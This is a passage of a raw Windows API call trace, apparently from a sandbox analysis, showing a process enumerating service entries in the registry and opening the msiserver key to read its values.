Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0215.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0215.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0215.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0215.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0215.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0215.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0215.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0215.828] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0215.829] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0215.830] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0215.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0215.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0215.833] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0215.834] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0215.834] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0215.834] RegCloseKey (hKey=0x148) returned 0x0 [0215.834] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0215.834] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0215.834] RegCloseKey (hKey=0x80000002) returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0215.834] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0215.835] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.835] RegCloseKey (hKey=0x14c) returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0215.835] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0215.836] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0215.836] RegCloseKey (hKey=0x148) returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0215.836] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0215.836] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.836] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, 